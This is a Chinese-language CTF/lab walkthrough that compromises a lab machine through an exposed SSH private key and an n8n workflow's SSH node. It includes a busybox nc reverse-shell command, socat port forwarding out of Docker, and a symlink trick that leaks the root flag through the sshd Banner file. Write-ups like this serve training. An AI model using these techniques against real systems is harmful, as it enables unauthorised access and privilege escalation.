
信息收集
NAMP 扫描
1 | IP=192.168.0.205 |
80 端口是 http 服务, 进去看看。
打开网页是个 prive key 也是神奇:
1 |
|
看看有没有密码:
1 | chmod 600 key |
给了用户名。但是没有 22 。
再看看 5678,http 直接访问。发现是一个N8N 的服务,注册一个账号进去。
去 Github 上看看这个 N8N 。总结仓库:
n8n 是一个安全的工作流自动化平台,为技术团队提供了代码的灵活性和无代码的速度。它拥有400多个集成,原生 AI 功能,以及公平代码许可,让您可以构建强大的自动化,同时保持对数据和部署的完全控制。
主要功能点
代码编写:可以编写 JavaScript/Python 代码,添加 npm 包,或使用可视化界面原生 AI 平台:基于 LangChain 构建 AI 代理工作流,使用您自己的数据和模型
完全控制:可以自行托管,使用公平代码许可,或使用云端服务
企业级:提供高级权限管理、单点登录和隔离部署等功能
活跃社区:400多个集成和900多个现成模板
技术栈
主要使用 TypeScript 语言前端框架采用 Vue.js
后端基于 Node.js 和 Express.js
许可证
n8n 采用公平代码许可,包括源代码可见、可自行托管和可扩展等特点。企业版还提供额外功能和支持。
简单来说是基于 LangChain 的一个无代码的工作流平台。
渗透
在 Overview 里面找到 Credentials ,新增 shawa 账号和刚才的 key 。
IP 注意不能是 localhost 或者 127.0.0.1 ,因为是 Docker 里。
提示你 Connection tested successfully 就行了。
在 Workflow 里面创建一个 Workflow ,弄个手动的 Trigger。 第二个节点选 SSH 。
就可以 Test 命令了。随便试了两个命令没问题。那么接下来就反弹一个。
反弹的命令:
1 | busybox nc 192.168.0.30 1234 -e sh |
因为在 docker 里,只能用 busybox 的命令。
然后就拿到了反弹的 shell。
1 | id |
在家目录拿到user flag。
提权
目前这个反弹的 shell 在 docker 里,很多功能都不太对接。需要转一个端口出来弄一个交互式的 shell。
传一个 socat过去,转一个端口:
1 | ./socat TCP-LISTEN:2222,fork TCP4:172.17.0.1:22 & |
然后就可以ssh 过去:
1 | ssh [email protected] -i key -p 2222 |
sudo 没有,一时间不知道怎么弄。
后来经过 @ll104567 的提示,从 Banner 下手。
看了下 /etc/ssh/sshd_config
里面的 Banner /opt/banner.txt
,虽然文件改不了,但是可以 ln到 /root/root.txt
上。因为 /opt/banner.txt
有权限。
1 | cd /opt |
然后就拿到了 root 的 flag:
1 | ssh [email protected] -i key -p 2222 |
完结撒花。 🎉